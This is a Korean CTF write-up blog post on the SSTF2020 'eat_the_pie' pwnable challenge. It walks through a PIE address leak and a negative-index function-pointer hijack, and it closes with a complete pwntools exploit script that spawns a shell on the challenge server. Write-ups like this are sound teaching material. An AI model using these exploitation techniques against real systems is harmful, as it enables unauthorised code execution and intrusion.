Pwnstar

SSTF2020 eat_the_pie 본문

CTF

SSTF2020 eat_the_pie

포너블처돌이 2020. 8. 18. 23:46

오늘 개최했던 sstf의 playground에서 나온 문제 중 하나인 eat the pie의 라이트업을 작성하려고 한다.

 

비록 대회가 끝나고 나서 푼 문제이긴 하지만 나름 되게 재밌게 풀어서 라업을 작성해놓고 싶다.

 

보호기법

32비트인데 모든 보호기법이 다 걸려있다;; pie가 걸려있으니 이게 핵심일듯 하다.

 

우선 IDA로 디컴파일된 코드를 한번 보자.

 

메인함수는 별 것 없고, pwnme함수가 핵심이다.

 

IDA

void __noreturn pwnme()
{
  int buf[4]; // [esp+4h] [ebp-34h]
  unsigned int (*v1)(); // [esp+14h] [ebp-24h]
  unsigned int (*v2)(); // [esp+18h] [ebp-20h]
  unsigned int (*v3)(); // [esp+1Ch] [ebp-1Ch]
  void (__noreturn *v4)(); // [esp+20h] [ebp-18h]
  int v5; // [esp+24h] [ebp-14h]
  unsigned int v6; // [esp+2Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  memset(buf, 0, 0x28u);
  v1 = func1;
  v2 = func2;
  v3 = func3;
  v4 = func4;
  while ( 1 )
  {
    puts("\n0. Show flag");
    puts("1. Show environment variables");

    puts("2. Show directory contents");
    puts("3. Exit");
    printf("Select > ");
    fflush(stdout);
    read(0, buf, 0x10u);
    v5 = atoi((const char *)buf);
    if ( v5 <= 3 )
      ((void (*)(void))buf[v5 + 4])();
    else
      printf("Invalid input: %s\n", buf);
  }
}

 

메뉴가 나오고 buf에 0x10만큼 입력을 받는다.

 

그리고 입력한 숫자에 따라 func1, func2, func3, func4 함수들을 호출하는데,

 

printf("Invalid input: %s\n", buf);

여기서 인포릭을 통해 pie base 값을 알아낼 수 있다.

 

올바르지 않은 값을 입력했을 때 내가 입력한 값을 출력해준다.

 

입력을 주었을 때의 스택 상황을 보자

 

 

입력할 수 있는 부분부터 +0x10 부분을 보면 뭔가 함수 주소같은 것들이 4개 있는데 왠지 func1,2,3,4의 주소일 것 같다.

 

역시 맞았다.

 

그러면 입력을 16개 꽉 채워서 주면 func1,2,3,4의 주소들도 함께 출력될 것이라고 생각하고 코드를 짜 보았다.

 

func1의 주소와 offset을 이용해서 pie base를 구할 수 있었다.

 

system 함수 주소도 같은 방법으로 구할 수 있는데 문제는 /bin/sh 문자열 혹은 sh 문자열이다.

 

혹시 sh 문자열이 있나 찾아 봤는데 

 

 

여깄넹ㅋㅋㅋㅋ

 

이제 재료는 다 모았는데 익스할 방법을 찾아야 했다. 우선 func1 함수라든가 다른 주소로 덮어서 이용하려면 0x10보다 더 큰 값을 받아야 하는데 그 방법을 찾다가 pwnme의 일부를 재사용하기로 했다.

 

 

요부분인데 이부분으로 우선 eip를 잡아보기로 했다.

 

근데 func1을 못덮는데 어떻게???

 

if ( v5 <= 3 )
      ((void (*)(void))buf[v5 + 4])();

 

이 부분을 이용하면 가능하다.

 

메뉴를 통해 입력받은 숫자를 인덱스처럼 이용하는데, 음수인지 아닌지 검사하는 부분이 없다. 그래서 -1을 입력하면

 

받을 수 있는 16개의 문자열 중 마지막 4바이트를 원하는 주소로 바꾸고, -1을 입력하면 그 부분으로 뛸 수 있다.

 

이렇게 뛰게 되면 사이즈의 값이 0x10보다는 훨씬 커지게 된다.

 

그리고 여기서 참 오래 해멨는데, 이용할 수 있는 것이 하나 더 있다.

 

굳이 0을 입력하지 않더라도, 숫자가 아닌 다른 문자열을 입력하면 자동으로 0번 메뉴(func1)이 실행된다. 

 

그래서 이걸 이용해서 우선 입력값의 처음에 sh 문자열의 주소를 넣어주고, dummy 값을 12바이트 넣어 16바이트를 채워준 다음, 그 뒤 4바이트를 system 함수의 plt로 덮는다.

 

그러면 자동으로 func1이 실행되어야하는데 그 함수는 지금 system 함수의 plt로 덮여있으므로 system함수가 실행되는데, 스택의 가장 첫 부분이 sh 문자열이므로 system("sh")를 실행시킬 수 있는 것이다.

 

ex.py

from pwn import*

#context.terminal=['tmux', 'splitw', '-h']
p = process("./eat_the_pie")
p = remote("eat-the-pie.sstf.site", 1337)
#pie_ = p.libs()['/home/skagns/2020sstf/eat_the_pie/eat_the_pie']

#script = '''
#b*{}
#'''.format(hex(pie_ + 0x000005A0))
#gdb.attach(p, script)


p.recvuntil("Select > ")

payload = "A"*8
payload += "B"*8

p.sendline(payload)

p.recvuntil("Select > ")

p.sendline("5")

p.recvuntil("B"*8)

func1 = u32(p.recv(4))
pie_base = func1 - 0x0000074D

log.info("func1 = " + hex(func1))
log.info("pie base = " + hex(pie_base))
read = pie_base + 0x00000970
sh = pie_base + 0x0000031a
sys_plt = pie_base + 0x5A0
log.info("sh address = " + hex(sh))
log.info("system plt = " + hex(sys_plt))

sleep(0.5)
payload2 = "B"*12
payload2 += p32(read)

p.sendline(payload2)

sleep(0.5)
p.sendline("-1")

sleep(0.5)
payload3 = p32(sh) + "A"*12 + p32(sys_plt)
p.send(payload3)

p.interactive()

 

이렇게 해서 실행해주면

 

 

플래그를 볼 수 있다.

'CTF' 카테고리의 다른 글

nahamconCTF Rock Paper Scissors  (0) 2021.03.15
nahamcon CTF Sort It!  (0) 2021.03.15
zer0ptsCTF oneshot  (0) 2021.03.08
diceCTF flippidy  (0) 2021.02.08
CSAW CTF bard's fail  (0) 2020.09.18
Comments